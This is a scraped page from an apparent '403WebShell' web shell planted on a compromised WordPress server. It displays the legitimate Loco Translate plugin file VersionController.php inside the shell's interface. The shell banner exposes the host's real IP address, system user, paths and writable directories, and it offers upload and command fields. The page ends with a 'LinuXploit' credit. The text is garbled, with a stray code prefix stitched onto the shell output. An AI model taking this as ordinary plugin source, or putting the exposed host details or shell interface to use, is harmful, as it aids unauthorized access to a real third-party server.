$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/loco-translate/src/admin/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/loco-translate/src/admin/config/VersionController.php
<?php
/**
 *  Plugin version / upgrade screen
 */
class Loco_admin_config_VersionController extends Loco_admin_config_BaseController {


    /**
     * {@inheritdoc}
     */
    public function init(){
        parent::init();
        $this->set( 'title', __('Version','loco-translate') );
    }


    /**
     * {@inheritdoc}
     */
    public function render(){
        
        $title = __('Plugin settings','loco-translate');
        $breadcrumb = new Loco_admin_Navigation;
        $breadcrumb->add( $title );
        $this->setLocoUpdate('0');
        
        // current plugin version
        $version = loco_plugin_version();
        if( $updates = get_site_transient('update_plugins') ){
            $key = loco_plugin_self();
            if( isset($updates->response[$key]) ){
                $latest = $updates->response[$key]->new_version;
                // if current version is lower than latest, prompt update
                if( version_compare($version,$latest,'<') ){
                    $this->setLocoUpdate($latest);
                }
            }
        }
        // notify if running a development snapshot, but only if ahead of latest stable
        if( '-dev' === substr($version,-4) ){
            $this->set( 'devel', true );
        }
        
        // check PHP version is at least 7.4
        $phpversion = PHP_VERSION;
        if( version_compare($phpversion,'7.4.0','<') ){
            $this->set('phpupdate','7.4');
        }
        
        // check WordPress version, No plans to increase this until WP bumps their min PHP requirement.
        $wpversion = $GLOBALS['wp_version'];
        return $this->view('admin/config/version', compact('breadcrumb','version','phpversion','wpversion') ); 
    }



    private function setLocoUpdate( string $version ){
        if( $version ){
            $action = 'upgrade-plugin_'.loco_plugin_self();
            $link = admin_url( 'update.php?action=upgrade-plugin&plugin='.rawurlencode(loco_plugin_self()) );
            $this->set('update', $version );
            $this->set('update_href', wp_nonce_url( $link, $action ) );
        }
        else {
            $this->set('update','');
            $this->set('update_href','');
        }
    }

    
}

Youez - 2016 - github.com/yon3zu
LinuXploit